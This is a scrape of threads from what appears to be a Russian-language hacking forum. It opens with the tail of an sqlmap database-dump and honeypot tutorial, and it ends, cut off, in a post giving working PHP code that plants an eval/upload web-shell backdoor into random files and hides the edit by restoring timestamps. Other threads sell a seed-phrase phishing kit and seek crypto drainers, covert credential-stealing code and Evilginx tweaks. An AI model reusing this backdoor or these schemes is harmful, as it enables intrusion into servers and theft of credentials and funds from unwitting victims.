sqlmap -u "http://<IP_адрес>/index.php?id=1" -D clients -T email --dump

При правильной настройке, в ответ мы получим что-то вроде:

Bash:Copy to clipboard

[INFO] the back-end DBMS is PostgreSQL
[INFO] fetching entries of table 'emails' in database 'clients'
+----+----------+--------------------------------------+
| id | phone | password                             |
+----+----------+--------------------------------------+
| 1  | 123456789    | $2a$12$KIXLrD4i.LLNzZ7gNBcQF.iErC2J |
+----+----------+--------------------------------------+

Как мы видим, значение "phone" осталось видимым, а "password" зашифрован, следовательно здесь необходимы будут методы дешифровки алгоритма bcrypt для получения данных.

Варианты дешифровки в данном случае, это получение доступа к самим ключам, либо же получение доступа к методу генерации "gen_salt" = "соли", что в целом усложняет сам вектор атаки. Нам в качестве практики самое то!

Как бы нам теперь ещё и создать опцию оповещения о попытках неправомерного доступа?
Возвращаемся к PostgreSQL. Там, где создана наша база.

Шаг 1. Создаём таблицу alerts.

Данная таблица будет содержать все триггреры и алерты при определённых событиях с базой.

SQL:Copy to clipboard

CREATE TABLE alerts (
    id serial PRIMARY KEY,
    event_type text,
    query text,
    timestamp timestamp DEFAULT current_timestamp
);

Шаг 2. Создаём триггеры INSERT/UPDATE/DELETE.

При подозрительных действиях, данные триггеры будут передаваться в систему алертинга. Например:

SQL:Copy to clipboard

CREATE OR REPLACE FUNCTION путь_к_логу()
RETURNS TRIGGER AS $$
BEGIN
    INSERT INTO alerts(event_type, query)
    VALUES (TG_OP, current_query());
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

В данном варианте TG_OP - встроенная переменная, содержащая типы операции INSERT/UPDATE/DELETE, а current_query() возвращает текущие SQL запросы.

Шаг 3. Добавим триггер модификации данных.

SQL:Copy to clipboard

CREATE TRIGGER activity_trigger
AFTER INSERT OR UPDATE OR DELETE ON название_таблицы
FOR EACH ROW EXECUTE FUNCTION путь_к_логу();

Теперь, при записи событий в таблицу alerts, можно настроить, например e-mail алертинг и протестировать каким образом происходит оповещение при срабатывании выстроенных триггеров.

Используем в завершении Postfix.

Утилита доступна для Linux OS пользователей, поэтому установим через:

Bash:Copy to clipboard

sudo apt install postfix

Далее приступаем к настройке в PostgreSQL.

Шаг 1. Создаём функцию отправки.

Нам необходимо вызывать системную команду sendmail для отправки письма, поэтому прописываем:

SQL:Copy to clipboard

CREATE OR REPLACE FUNCTION send_alert_email()
RETURNS TRIGGER AS $$
DECLARE
    cmd text;
BEGIN
    cmd := 'echo "ALERT: Suspicious activity detected: '  TG_OP  ' on clients table. Query: '  current_query()  '" | mail -s "Data breach Alert" example@xss.is';
    PERFORM dblink_exec('dbname=mydb', cmd);
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

Данным действием мы вызываем с помощью mail -s отправку письма с темой "Data breach alert" на адрес example@xss.is.

Шаг 2. Установка dblink.

Так как при установке Postgre мы установили пакет postgresql-contrib, нам доступно расширение dblink:

SQL:Copy to clipboard

CREATE EXTENSION dblink;

С помощью неё мы будем инициировать отправку.

Шаг 3. Добавляем триггер.

SQL:Copy to clipboard

CREATE OR REPLACE FUNCTION log_honeypot_activity()
RETURNS TRIGGER AS $$
BEGIN
    INSERT INTO alerts(event_type, query)
    VALUES (TG_OP, current_query());
    
    PERFORM send_alert_email(); -- Отправка email уведомления
    
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

Теперь вы будете оповещены о любых изменениях в таблице clients.

Заключение.
Таким образом можно создать окружение для тестов своих навыков или других инструментов, которые вам могут пригодится в будущем. Здесь нет особой замысловатости, но вполне подходит для каких-то манипуляций.

Даже общедоступные SQL инструменты так же предлагают довольно широкий спектр защитных опций, что позволяет иметь защищённое пространство, хотя бы для каких-то собственных или рабочих данных.

Всем успехов!

(JS) Refresh div content
ID: 67668b27b4103b69df375d13
Thread ID: 91238
Created: 2023-06-24T06:13:45+0000
Last Post: 2023-07-03T13:14:21+0000
Author: man514lo
Replies: 2 Views: 425

Hi, I’d like to know if it’s possible to refresh multiple

content on a page. I have tried different ways, with jquery and jvascript and cant seem to make it work. Any help would be really appreciate it! Thanks

Как грамотно реализовать антибан в tonkeeper. (Ton Drainer)
ID: 67668b27b4103b69df375cb7
Thread ID: 124077
Created: 2024-10-04T05:54:05+0000
Last Post: 2024-10-04T05:54:05+0000
Author: Умикуд
Replies: 0 Views: 421

Слышал способ проксирования всех взаимодействие с TonConnect. Или есть другие более практичные варианты? Как понимаю черный список доменов (приложений) существует только у tonkeeper.

Нужно написать аддон под Елементор
ID: 67668b27b4103b69df375cf5
Thread ID: 104517
Created: 2023-12-22T16:10:35+0000
Last Post: 2023-12-22T16:10:35+0000
Author: FunnyMan3399
Replies: 0 Views: 420

Есть посадочная для обработки подключения к холодному кошельку. Надо завернуть ее в аддон под Елементор, так чтоб WordPress читал его как плагин для сайта и он редактировался через сам элементор. Просто кнопка и произвольные поля. Предложения в лс @mod_tlg

Какие есть способы определения подмены параметров браузером?
ID: 67668b27b4103b69df375d09
Thread ID: 94996
Created: 2023-08-07T05:33:02+0000
Last Post: 2023-08-07T05:33:02+0000
Author: alexriver
Replies: 0 Views: 419

Как с помощью JavaScript можно определить, что браузер пытается подменить параметры устройства? Не обязательно обнаружить реальные значение, а просто факт подмены.

Есть антидетект-браузеры, которые подменяют различные параметры, отправляя сайту отличные от фактического, значения, если сайт запрашивает их с помощью Javascript либо HTTP-заголовков:

  • Screen Resolution
  • Набор шрифтов
  • Основной язык и список поддерживаемых языков
  • Часовой пояс
  • Количество ядер процессора
  • Объем оперативной памяти
  • Название видеокарты
  • Количество медиа девайсов (камера, микрофон, наушники)
  • Формат даты на устройстве
  • Speech Voices
  • Поддерживаемые аудио форматы
  • Canvas Fingerprint
  • WebGL Fingerprint
  • Audio Fingerprint
  • DOMRect Fingerprint

Какие есть способы определить факт подмены?

В одной из статей нашёл информацию, что браузер может производить подмену разными способами:

Привожу цитату:

"переписать эти функции в исходном коде браузера, до его компиляции. Это самый надежный и самый сложно определяемый способ.
- заинжектиться в работающий процесс вкладки и перехватывать обращения к нужным функциям в реальном времени. Технически сложно, т.к. смещения и адреса функций плывут с каждым обновлением браузера.
- перезаписать нужные нам значения прямо на странице через javascript же, после инициализации страницы, которую мы просматриваем. Самый простой в реализации, но самый отвратительный способ, т.к. сделать это незаметно действительно сложно. Как я покажу дальше, почти все антидетект-браузеры выбрали этот путь, чем подставили своих пользователей."

Вопрос, можно ли проверить, какой способ подмены используется в браузере.

И какие именно методы определения подмен существуют? Например, в статье было указано про Object.keys(Object.getOwnPropertyDescriptors(navigator)) для неумелого переопределения свойств Navigator.

Также можно обнаружить использование эмулированной среды, эта информация тоже была в статьях.

Статьи:
[https://cpa.rip/stati/antidetect-pa...eration- hash=da113dcf63bf70e9c0681094fbcbb949](https://cpa.rip/stati/antidetect- palivo/?unapproved=15649&moderation-hash=da113dcf63bf70e9c0681094fbcbb949)
https://habr.com/ru/articles/720588/
https://habr.com/ru/articles/716434/
https://www.zenrows.com/blog/bypass-cloudflare
https://www.zenrows.com/blog/bypass-akamai

Буду благодарен конкретным методам определения подмены.

A macOS GUI application manager
ID: 67668b27b4103b69df375cf4
Thread ID: 105009
Created: 2024-01-03T00:06:24+0000
Last Post: 2024-01-03T00:07:11+0000
Author: boxilai
Replies: 1 Views: 415

BrewMate is a macOS GUI application that makes it easy to search, install, and uninstall Homebrew kegs (Casks), including awesome-brew third-party applications.

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F1745369c7c7cfb6e7b0c21b92e999064d99521c13cac57d162e70c534ee7b54b%2Fromankurnovskii%2Fhomebrew- awesome-brew&hash=61e0dab265f5e52ba691f1492d544faa&return_error=1)

[ GitHub - romankurnovskii/homebrew-awesome-brew: A catalog of Homebrew

casks and formulas extending to open-source projects by developers. Simplifies the process of finding and installing apps via Homebrew. ](https://github.com/romankurnovskii/homebrew-awesome-brew/)

A catalog of Homebrew casks and formulas extending to open-source projects by developers. Simplifies the process of finding and installing apps via Homebrew. - GitHub - romankurnovskii/homebrew-awe...

github.com github.com

install:
Download the latest DMG file from the releases page.
Double-click the DMG file to open it.
Drag the BrewMate app into your Applications folder.

MySQL инъекции
ID: 67668b27b4103b69df375d15
Thread ID: 91517
Created: 2023-06-27T17:04:23+0000
Last Post: 2023-06-28T09:55:37+0000
Author: aimbatter
Replies: 1 Views: 415

Доброго времени суток. Тут есть человек, кто может сделать MySQL инъекции? Отпишите пожалуйста в лс или в мой тг @xclsvEzz

Передача видео изображения
ID: 67668b27b4103b69df375ceb
Thread ID: 107415
Created: 2024-02-03T20:28:52+0000
Last Post: 2024-02-03T20:28:52+0000
Author: wrk1337
Replies: 0 Views: 414

Мужики выручайте очень сильно запутался и не могу найти решение.
Есть такая проблема.Идет трансляция видео с камеры андроид по webrtc допустим,и есть такая задача например летит карта при раздаче и чтоб ее можно было фиксировать в полете.При 60fps это почему то не получается при удаленной передаче а при локальной все ок вот и вопрос что может быть не так фрейм рейт или в чем то другом проблема.Проблемы с изображением вообще нет качество идеальное ну и так же не в канале интернета дело так как уже на разных пробовал в чем то другом.Направьте кто сможет как это реализовать.

Чекер кошей (BTC,LTC,ETH,TRX)
ID: 67668b27b4103b69df375cd8
Thread ID: 112302
Created: 2024-04-09T11:23:24+0000
Last Post: 2024-04-09T11:23:24+0000
Author: dolphinbill1
Replies: 0 Views: 413

Посоветуйте какой-то** opensource чекер баланса кошей** , можно js, python- что угодно

Буду очень признателен

Auth System + Panel (Auth.gg)
ID: 67668b27b4103b69df375d4a
Thread ID: 68583
Created: 2022-06-13T07:48:56+0000
Last Post: 2022-07-08T20:39:13+0000
Author: LaPinka
Replies: 2 Views: 410

Hey guys i am selling my AuthGG clone.
It have all features from AuthGG(not the same source)
WHy i am doing this? Well AuthGG owner dox you if u use your correct data and leak your applications if he dont like you.
I decided to do this because i dont want that user use this skidded Auth called AuthGG.
If you're interested contact me here on forum or on telegram t.me/clynt707

7qKjGEQ9LNPO.pngA63fgHDpJJ7E.pngED2AyFCGvBBW.png

pages/antibot
ID: 67668b27b4103b69df375d19
Thread ID: 89404
Created: 2023-05-31T20:31:01+0000
Last Post: 2023-06-01T06:04:50+0000
Author: jamesblacka
Replies: 1 Views: 405

wo makes pages in html and who can make antibot?

чем открыть base.sql
ID: 67668b27b4103b69df375d55
Thread ID: 65391
Created: 2022-04-08T18:37:17+0000
Last Post: 2022-05-13T06:30:56+0000
Author: cash-in
Replies: 7 Views: 401

нужно открыть base.sql
че та возился, так не получилось.
Отблагодарю монетой.

Каким скриптом менять домены?
ID: 67668b27b4103b69df375d27
Thread ID: 82124
Created: 2023-02-16T16:33:25+0000
Last Post: 2023-03-28T04:34:44+0000
Author: ctorop0va1132
Replies: 1 Views: 392

на лендинге каждые скажем 10к кликов до бана домена?

Ищу исполнителя cs cart
ID: 67668b27b4103b69df375cf8
Thread ID: 103524
Created: 2023-12-05T07:34:22+0000
Last Post: 2023-12-05T07:34:22+0000
Author: GlavYt
Replies: 0 Views: 392

мотрите какая ситуация - есть готовый проект на CS cart. Сайт крупной фирмы. Необходимо в уже готовом проекте внести правки и установить их

hello who knows how to remove empty || in pipe delimited txt file
ID: 67668b27b4103b69df375d11
Thread ID: 91495
Created: 2023-06-27T11:11:10+0000
Last Post: 2023-07-04T13:28:54+0000
Author: BestDealz
Replies: 3 Views: 387

example of my issue im having
**name|adrress|dob|zip||country|||

how can i remove that so it ends up
name|adrress|dob|zip|country

i would do it manually but there's literally thousands of lines.**

I need a casino script
ID: 67668b27b4103b69df375d28
Thread ID: 84209
Created: 2023-03-21T08:32:32+0000
Last Post: 2023-03-23T00:15:44+0000
Author: omerta
Replies: 1 Views: 385

I need a casino script with only 1 game: a game where you bet some money and collect before the shuttle explodes.
Pm me for details

ModSecurity Rules
ID: 67668b27b4103b69df375cf3
Thread ID: 105175
Created: 2024-01-05T17:37:13+0000
Last Post: 2024-01-05T17:37:13+0000
Author: salsa20
Replies: 0 Views: 377

ищу разные правила для защиты, у кого есть?
вкратце позволяет защитить ваш сайт от xss,sql inj

I'm looking for various rules for protection, does anyone have any?

Database uploaded
ID: 67668b27b4103b69df375ce9
Thread ID: 107899
Created: 2024-02-10T00:21:14+0000
Last Post: 2024-02-10T00:21:14+0000
Author: M3lw0rm
Replies: 0 Views: 376

Hey
I have access login website i need someone to upload The database for more information send me mssg
Tg : M3lw0rm

Multi wallet Crypto Lander 10 in 1 grabs SEED PHRASE can add drainer also
ID: 67668b27b4103b69df375d17
Thread ID: 90370
Created: 2023-06-13T13:13:30+0000
Last Post: 2023-06-13T13:13:30+0000
Author: crypt0
Replies: 0 Views: 374

Grabs Seed phrases and has landings for the following

Coinbase Wallet
Crypto.com
Ledger
Wallet connect
Trustwallet
Opensea

Opensea has 4 different landings

The main opensea
new NFT drops lander (amend for yourself)
OPENSEA offers page good for spear phishing people with Drainer !!!! (this need to be amended a little to work with your drainer but i can do for you no issue)

Exfils back to you via Telegram API
Simply add your Api keys to the script

Metamask in iframe pops out just like it should do

Many other lander also available

price $200

Escrow no issue buyer pays fees

DM for TOX, JID,TG

1686661585821.png1686661797356.png1686661855855.png1686661908353.png1686662072950.png1686661446965.png1686659756320.png

HTML/JS frontend for my project
ID: 67668b27b4103b69df375d16
Thread ID: 91390
Created: 2023-06-26T10:32:54+0000
Last Post: 2023-06-27T12:21:24+0000
Author: crypt0
Replies: 1 Views: 373

As above states looking for some who can make me something in bootstrap really for my project doesnt need to be fancy just so it is functional and looks pleasing to the eye

DM with your offers/previous works examples

May consider bring the right person into the project as a partner

Thanks

I wait your replies

ищу кодера исполнитель JS
ID: 67668b27b4103b69df375d5d
Thread ID: 62706
Created: 2022-02-09T16:58:57+0000
Last Post: 2022-02-09T20:20:07+0000
Author: Mozart
Replies: 2 Views: 371

Приветствую. Ищу исполнителя ( Веб кодера ) на свой проект. Написание Live панели ( похожее uadmin) . написанной на языке программирования (JavaScript). Подробное техническое задание через личные сообщения. Писать строго по делу, и те кто готов сразу взяться за работу. Бюджет 3к, строго гарант до проверки.

Отправка данных с форм WordPress в телеграмм (без плагина WP Telegram)
ID: 67668b27b4103b69df375d66
Thread ID: 60056
Created: 2021-12-14T18:47:33+0000
Last Post: 2021-12-14T20:55:53+0000
Author: Aristokrat
Replies: 2 Views: 354

Сабж, нуждаюсь в помощи знающих людей. На просторах полно информации как отправлять простые формы html, но ничего не нашел именно про вордпресс. Задача в том чтобы безпалева внедрить код который будет отправлять информацию login:pass в телеграмм (так же желательно в txt файл на другой хост). Буду благодарен за любую помощь!
Контакт: @gerg77

Как сосниффать исходящий запрос?
ID: 67668b27b4103b69df375d23
Thread ID: 84937
Created: 2023-03-31T13:25:04+0000
Last Post: 2023-04-19T16:11:51+0000
Author: BCN
Replies: 2 Views: 352

Доступ к серверу только через фтп.

Есть сайт. В конкретной странице выполняется js скрипт и отправляет данные на https://domain.com/secret.php?code=xxxxxxxxx
Мне нужно сосниффать всю ссылку, либо только "xxxxxxxxx", можно и весь исходящий трафик, главное чтобы там была эта ссылка.

Такое возможно как-то сделать имея доступ только через фтп? Править, загружать, скачивать файлы могу.

Which extension solve my Problem ?
ID: 67668b27b4103b69df375d2f
Thread ID: 82180
Created: 2023-02-17T11:14:45+0000
Last Post: 2023-02-23T07:50:54+0000
Author: Backstab
Replies: 1 Views: 351

;extension=bz2
;extension=curl
;extension=ffi
;extension=ftp
;extension=fileinfo
;extension=gd2
;extension=gettext
;extension=gmp
;extension=intl
;extension=imap
;extension=ldap
extension=mbstring
;extension=exif ; Must be after mbstring as it depends on it
extension=mysqli
;extension=oci8_12c ; Use with Oracle Database 12c Instant Client
;extension=odbc
;extension=openssl
;extension=pdo_firebird
extension=pdo_mysql
;extension=pdo_oci
;extension=pdo_odbc
;extension=pdo_pgsql
extension=pdo_sqlite
;extension=pgsql
;extension=shmop

; The MIBS data available in the PHP distribution must be installed.
; See http://www.php.net/manual/en/snmp.installation.php
;extension=snmp

;extension=soap
;extension=sockets
;extension=sodium
;extension=sqlite3
;extension=tidy
;extension=xmlrpc
;extension=xsl

Screenshot_2023-02-17_11-13-06.png

Screenshot_2023-02-17_11-13-35.png

материалы по MySQL
ID: 67668b27b4103b69df375d62
Thread ID: 60648
Created: 2021-12-29T12:12:42+0000
Last Post: 2021-12-29T12:12:42+0000
Author: Pirate
Replies: 0 Views: 347

Udemy - SQL Beginner to Guru MySQL Edition Training Video Course

[ SQL Beginner to Guru MySQL Edition - Master SQL with MySQL – Google

Drive ](https://drive.google.com/drive/folders/1fbhZqXX5MsCuotZ2ea113x4SKTgdYlEw?usp=sharing)

drive.google.com drive.google.com

Udemy - The Ultimate MySQL Bootcamp from SQL Beginner to Expert Training Video Course

[ The Ultimate MySQL Bootcamp from SQL Beginner to Expert – Google Drive

](https://drive.google.com/drive/folders/1UAZXsPk-P7VWEMs3eMs5PPg3jExTbK_9?usp=sharing)

drive.google.com drive.google.com

Udemy - Database Design & Management MySQL, Oracle & PostgreSQL Training Video Course

[ Database Design & Management MySQL, Oracle & PostgreSQL – Google Drive

](https://drive.google.com/drive/folders/1woo7opDhDsJQSYJxk33GTDnvb8Am_yDl?usp=sharing)

drive.google.com drive.google.com

Udemy - Top Database Bundle - MySQL, PostgreSQL, SQLite3, SQL Server Video Course

[ Udemy - Top Database Bundle- MySQL, PostgreSQL, SQLite3, SQL Server –

Google Drive ](https://drive.google.com/drive/folders/1rxntNcqQPQPOeIfzE0YL4NEtUncUsrJJ?usp=sharing)

drive.google.com drive.google.com

Всем удачного и продуктивного обучения!

Подскажите пожалуйста по регулярке (JavaScript)
ID: 67668b27b4103b69df375d32
Thread ID: 80996
Created: 2023-01-31T16:05:18+0000
Last Post: 2023-02-01T08:58:04+0000
Author: BlameUself
Replies: 2 Views: 334

Подскажите пожалуйста по регулярке. Нужно все содержимое после items: и до (желательно не включая их)

По идее -
**items: (.*?) </script>
Либо

Как получить ввод из другого расширения на JS ?
ID: 67668b27b4103b69df375d1e
Thread ID: 87344
Created: 2023-05-05T18:36:07+0000
Last Post: 2023-05-05T21:59:03+0000
Author: AcademicRB
Replies: 5 Views: 332

Не понимаю как получить ввод из другого расширения используя свое расширение для браузера. Условно у меня установлено расширение А из магазина гугл расширений, у него есть input куда пользователь вводит пароль и нажимает кнопку войти. Я планирую сделать свое расширение, которое буду устанавливать как распакованное, и его задача состоит в том, чтобы выводить то что пишется в текстовое поле input расширения А. Вообще есть ли такая возможность и как это сделать ? Пытался реализовать кодом ниже но ничего не работает, работает только на сайте каком-нибудь, в качестве примера использовал ютуб. Заметил что если в консоли страницы расширения типа popup.html выполнить один из этих скриптов то вывод есть, а мое расширение не срабатывает.

3 варианта исполнения кода в content-script.js

JavaScript:Copy to clipboard

document.addEventListener('input', function(event) {
  if (event.target.tagName.toLowerCase() === 'input') {
    console.log(event.target.value);
  }
});


const inputs = document.querySelectorAll('input');
inputs.forEach(input => {
  input.addEventListener('input', () => {
    console.log(`Введено значение: ${input.value}`);
  });
});


document.addEventListener('keydown', function(event) {
  console.log(event.key);
});

код background.js

JavaScript:Copy to clipboard

chrome.action.onClicked.addListener(async (tab) => {
  await chrome.scripting.executeScript({
    target: { tabId: tab.id },
    files: ["content-script.js"],
  });
});
Есть ли деобфускаторы для JS obfuscate.io?
ID: 67668b27b4103b69df375d74
Thread ID: 59091
Created: 2021-11-20T23:01:53+0000
Last Post: 2021-11-23T12:00:34+0000
Author: chillco
Replies: 4 Views: 323

Здравствуйте. Есть заобфусцированный JS скрипт с помощью обфускатора с obfuscate.io. Есть ли деобфускаторы для данного вида обфускатора? Хотя бы, расшифровку строк.

How to check backlinks and remove?
ID: 67668b27b4103b69df375d1d
Thread ID: 87620
Created: 2023-05-09T18:47:13+0000
Last Post: 2023-05-16T14:49:36+0000
Author: redsnow56
Replies: 1 Views: 320

hello all
How to check backlinks and remove from dll file?
I have already nulled but inside file have backlinks, what is best solutions for remove or find ? Thanks

SQL запрос чтоб уронить MySQL базу?
ID: 67668b27b4103b69df375d47
Thread ID: 70649
Created: 2022-07-25T18:12:00+0000
Last Post: 2022-07-26T17:18:01+0000
Author: bedewser
Replies: 4 Views: 318

Всем привет. Знатаки подскажите, есть root доступ к sql базе, хочется одним или несколькими запросами сделать мощный stress тест, максимально нагрузить и надолго. Что можете посоветовать?

помогите с захламленным кодом JS
ID: 67668b27b4103b69df375d50
Thread ID: 67886
Created: 2022-05-30T18:47:55+0000
Last Post: 2022-06-01T00:11:57+0000
Author: Player_1
Replies: 5 Views: 309

прошу помощи понять что здесь происходить, никакие сервисы/тулзы с гита не помогли

JavaScript:Copy to clipboard

function(_0x4c7b98,_0x5498b1){
    function _0x348384(_0x36d4d5,_0x3bf4d6){
    return _0x2697(_0x3bf4d6-390,_0x36d4d5);
    }
    var _0x2ea161=_0x4c7b98();
    while(!![]){
        try{
        var _0x3aed35=parseInt(_0x348384(866,870))/(-267*-7+-1080+2*-394)+-parseInt(_0x348384(871,865))/(-4513*1+9703*1+1297*-4)*(-parseInt(_0x348384(880,879))/(37*-115+3780+-478*-1))+-parseInt(_0x348384(869,874))/(-1469*3+4579+2*-84)*(parseInt(_0x348384(861,869))/(-2585+-1679+3*1423))+-parseInt(_0x348384(858,861))/(7843*1+1604+-9441)+-parseInt(_0x348384(865,875))/(-6425+-1401*-3+2229)*(-parseInt(_0x348384(876,868))/(29*-113+267*-2+1273*3))+parseInt(_0x348384(864,862))/(2*-4996+9137+864)*(parseInt(_0x348384(865,866))/(-2*-2608+1*4591+-9797))+-parseInt(_0x348384(880,872))/(9789+-3702+3038*-2)*(-parseInt(_0x348384(868,871))/(-8832+2227+-13*-509));
        //тут циферки были в хексе (сверху), я их перевел в обычный вид
            if(_0x3aed35===_0x5498b1){
            break;
            }
            else{
            _0x2ea161['push'](_0x2ea161['shift']());
            }
        }
        catch(_0x527d1a){
        _0x2ea161['push'](_0x2ea161['shift']());
        }
    }
}
Tg Bot (JS Mtproto)
ID: 67668b27b4103b69df375d7b
Thread ID: 56769
Created: 2021-09-17T06:16:55+0000
Last Post: 2021-09-17T11:37:26+0000
Author: AMG_1337
Replies: 1 Views: 296

Есть ли у кого актуальные сорцы бота тг на js на библиотеки mtproto

Необходимо отсылать юзеру сообщение которые не зареган в твоем боте так как в обычной библе телеграм запрещает это делать, и парсить ответ от юзера.

Если у кого нибудь есть дайте линк в лс на гит или куда нибудь, спс!

как отправить данные на другой сервер?
ID: 67668b27b4103b69df375d52
Thread ID: 67526
Created: 2022-05-23T15:31:27+0000
Last Post: 2022-05-26T12:04:48+0000
Author: friend_111312
Replies: 2 Views: 292

Есть скрипт который берет IP,страну,город юзера и сохраняет их в файл на сервере.

PHP:Copy to clipboard

$ip = $_SERVER['REMOTE_ADDR']; 
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ip));
$handle = fopen("data.txt","a"); 
fwrite($handle, "IP: $ip \r\n");
if($query && $query['status'] == 'success') {
$hh = $query['country'].', '.$query['city'].'!';
fwrite($handle, "Location: $hh \r\n \r\n");
} else {
  fwrite($handle, "Location: Unavailable \r\n \r\n");
}
fclose($handle);
exit;

Как правильно настроить приемку,и сохранять результат на другом сервере?

Optimum page with card
ID: 67668b27b4103b69df375d29
Thread ID: 83264
Created: 2023-03-06T02:24:08+0000
Last Post: 2023-03-06T02:24:08+0000
Author: jepcita
Replies: 0 Views: 289

Optimum page with card

Custom coded anti-brute forcing methods.
ID: 67668b27b4103b69df375d34
Thread ID: 80186
Created: 2023-01-17T21:03:44+0000
Last Post: 2023-01-17T21:49:35+0000
Author: NullSafe
Replies: 3 Views: 286

What I try to do on the back-end is to limited the available attempts for a specific username. Also limiting attempts per IP. I also randomize the input "names" for every page load to make it harder. On top of that implementing a completely custom captcha. This usually does the trick for me when facing larger traffic.

I am interested to see what methods you use on back-end to secure your logins?

Need create iframe and redirect for my shop.
ID: 67668b27b4103b69df375ca5
Thread ID: 128269
Created: 2024-12-05T07:14:11+0000
Last Post: 2024-12-05T07:14:11+0000
Author: MrLeaker
Replies: 0 Views: 264

Have some shop need create iframe and redirect.
I need to work with people who can fix a bug within 24 hours if it's their fault.

Ищу программиста на проект
ID: 67668b27b4103b69df375d73
Thread ID: 59246
Created: 2021-11-24T12:08:34+0000
Last Post: 2021-11-24T13:21:51+0000
Author: 2club2
Replies: 2 Views: 255

требуется php программист, с хорошим опытом работы с curl, знанием WebSocket, необходимо поправить/доработать чужой исходный код. Бюджет и сроки обсуждаются индивидуально с каждым, скидывайте свои контакты в личку (telegram, jabber).

How do i use regex to replace text on Evilgenx2 ??
ID: 67668b27b4103b69df375d5c
Thread ID: 62898
Created: 2022-02-13T12:06:39+0000
Last Post: 2022-02-13T13:34:21+0000
Author: Average
Replies: 1 Views: 239

How do i use regex to replace text on Evilgenx2 ?? Im looking to replace BTC Address.

Im happy to pay anyone who can help!!!

Дайте пожалуйста документацию к API люксчекера
ID: 67668b27b4103b69df375d30
Thread ID: 82097
Created: 2023-02-16T08:20:11+0000
Last Post: 2023-02-16T08:20:11+0000
Author: pinq
Replies: 0 Views: 238

Всем привет! Может кто поделиться документацией к API люкса? Буду признателен.
У них документация насколько мне известно доступна только пользователем с кредитами на балансе.

Запросы JS
ID: 67668b27b4103b69df375d4e
Thread ID: 69062
Created: 2022-06-22T18:13:49+0000
Last Post: 2022-06-23T20:13:50+0000
Author: AMG_1337
Replies: 2 Views: 233

Как обойти политику CORS при запросе? какие лучше прокси сервисы юзать или же фреймворки.

Create txt file or link in html script
ID: 67668b27b4103b69df375d51
Thread ID: 67771
Created: 2022-05-28T07:00:54+0000
Last Post: 2022-05-30T13:43:07+0000
Author: chuks007s
Replies: 1 Views: 224

i need help on how to create txt file in html script, i will be glad if anyone can help we can work together

.
ID: 67668b27b4103b69df375d75
Thread ID: 59031
Created: 2021-11-19T07:54:16+0000
Last Post: 2021-11-19T07:54:16+0000
Author: heremy644
Replies: 0 Views: 223

.

help with website
ID: 67668b27b4103b69df375d79
Thread ID: 58061
Created: 2021-10-23T12:16:47+0000
Last Post: 2021-10-23T19:05:37+0000
Author: cashearner
Replies: 1 Views: 221

I need help replacing the path of a "confirm" button on a certain website..

Post-ops / Low level persistence - Infect files with a line of code
ID: 67668b27b4103b69df375cab
Thread ID: 127225
Created: 2024-11-19T10:35:37+0000
Last Post: 2024-11-19T12:23:12+0000
Author: tacobella
Prefix: Статья
Replies: 1 Views: 219

Hi community,

Often when gaining access to a target, some administrator react faster than others, they patch the issue and remove the one dangerous file,
local persistence may challenging post compromise with a low user access,

if victim doesnt have ssh setup
what about a quick persistence move for a second-time access?

below is a .php page that when visited will choose 3 (or you can choose more) random php files (in current dir/sub directories) and inject them with a piece of code. reset the last modification date of the infected file to its original and gives you back the absolute path of the injected files. that you can save and later use to gain back access to download a file to the victim's htdocs or execute a php code on the go

Human readable :

PHP:Copy to clipboard

<?php
function getPhpFiles($dir, $excludeFile) {
    $files = [];
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
    foreach ($iterator as $file) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php' && $file->getPathname() !== $excludeFile) { //specify files extension to infect
            $files[] = $file->getPathname();
        }
    }
    return $files;
}

$currentFile = __FILE__;

$phpFiles = getPhpFiles(__DIR__, $currentFile);

if (count($phpFiles) < 1) { //modifiable files must be more than 1? (1 is default)
    die("Not enough .php files found in the directory.");
}

shuffle($phpFiles);
$randomFiles = array_slice($phpFiles, 0, 3);//choose number of random files to infect

$injectCode = "if(isset(\$_FILES['4pzDK15j'])) {@move_uploaded_file(\$_FILES['4pzDK15j']['tmp_name'], \$_POST['Z9A1B3D']);} if(isset(\$_POST['KH4AW4a2'])) { eval(\$_POST['KH4AW4a2']); }";


function insertCode($file, $code) {
    $backupFile = $file . '.bak';
    if (!copy($file, $backupFile)) {
        echo "Failed to create backup for $file.<br>";
        return false;
    }

    $originalModifiedTime = filemtime($file);

    $fileContents = file_get_contents($file);
    if (preg_match('/<\?php/', $fileContents)) {
        if (preg_match('/<\?php.*?\?>/s', $fileContents)) {
            $fileContents = preg_replace('/(.*?)\?>\s*$/s', "$1$code\n?>", $fileContents);
        } else {
            $fileContents .= "\n$code\n";
        }
    } else {
        $fileContents .= "\n<?php $code ?>\n";
    }

    file_put_contents($file, $fileContents);

    touch($file, $originalModifiedTime);

    unlink($backupFile);

    return true;
}

foreach ($randomFiles as $file) {
    $success = insertCode($file, $injectCode);
    if ($success) {
        echo "succ for: " . realpath($file) . "<br>";
    } else {
        echo "failed for: " . realpath($file) . "<br>";
    }
}

echo "Succ";
?>

obfuscated hard to read

PHP:Copy to clipboard

<?php
function xYz($a, $b) {
    $c = [];
    $d = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($a));
    foreach ($d as $e) {
        if (pathinfo($e, PATHINFO_EXTENSION) === 'php' && $e->getPathname() !== $b) { //specify files extension to infect
            $c[] = $e->getPathname();
        }
    }
    return $c;
}

$f = __FILE__;

$g = xYz(__DIR__, $f);

if (count($g) < 1) { //modifiable files must be more than 1? (1 is default)
    die("Not enough .php files found in the directory.");
}

shuffle($g);
$h = array_slice($g, 0, 3);//choose number of random files to infect

$i =  "if(isset(\$_FILES['4pzDK15j'])) {@move_uploaded_file(\$_FILES['4pzDK15j']['tmp_name'], \$_POST['Z9A1B3D']);} if(isset(\$_POST['KH4AW4a2'])) { eval(\$_POST['KH4AW4a2']); }";

function jK($l, $m) {
    $n = $l . '.bak';
    if (!copy($l, $n)) {
        echo "Failedbackup for $l.<br>";
        return false;
    }

    $o = filemtime($l);

    $p = file_get_contents($l);
    if (preg_match('/<\?php/', $p)) {
        if (preg_match('/<\?php.*?\?>/s', $p)) {
            $p = preg_replace('/(.*?)\?>\s*$/s', "$1$m\n?>", $p);
        } else {
            $p .= "\n$m\n";
        }
    } else {
